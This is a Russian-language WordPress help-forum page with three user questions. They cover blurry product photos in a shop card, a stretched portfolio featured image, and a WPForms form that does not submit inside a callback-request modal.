Всем привет! Подскажите, пожалуйста, у меня размывает фото товара в карточке товара, но когда я навожусь лупой, то сразу всё становится нормально. Я так понимаю этом связано с тумбами. Так вот каким образом можно создать тумбы и подогнать их для товаров? Если это не связано с тумбами, то по какой причине это может быть еще и как решить? СпасибоСсылка:https://nellys-charm.com/product/plate-pl3-478/

Изображение к записи

Приветствую!
Ребятки, не знаю как побороть( Сам не программер и не верстальщик, но стараюсь как могу сам обслуживать свой сайт. Подскажите плиз куда рыть.
Создаю запись или страницу портфолио, наполняю нужным контентом и добавляю картинку к записи, которая и будет отображаться на странице портфолио. НО при переходе на созданную страницу картинку растягивает в несколько раз.
Сама миниатюра отображается с правильными размерами 240х400 а вот когда захожу на эту страницу там растягивает

Не работает форма в модальном окне

Коллеги, такой вопрос к более знающим.На сайте стоит плагин WPforms — создатель форм, я создал в нём форму и хочу использовать вывод этой формы из WPforms в модальном окне другого плагина, который выполняет функцию Обратного звонка с сайта через использования шорткода этой формы через стандартный PHP код <?php echo do_shortcode(‘[wpforms id=»2810″]’); ?>Но возникает проблема: я вставил данный PHP код в PHP файл отвечающий за отображение модального окна, но когда окно открывается, то WP форма в нём хоть и отображается как нужно, но она почему-то функционально не работает как нужно.Что я имею в виду:1) Не отправляется сообщение, невидимая Гугл рекапча не работает;2) Почему то рядом с формой постоянно крутится значок submit-spin.svg который расположен в папке плагина /wpforms-lite/assets/images/submit-spin.svgМожете перейти по ссылке, кликнуть в правом нижнем углу значок Обратного звонка и посмотреть как отображается форма в модальном окне https://kupeev.ru/kak-prohodit-diagnostika-organizma/При этом если я вставляю php код <?php echo do_shortcode(‘[wpforms id=»2810″]’); ?> для вывода формы в любое другое место сайта, то форма прекрасно работает — сообщение отправляется, невидимая Гугл рекапча работает, крутящегося значка submit-spin.svg рядом с формой нет.В чём может быть дело? Почему форма не работает правильно только в модальном окне?

Anonymous
Отправить
Ответ на: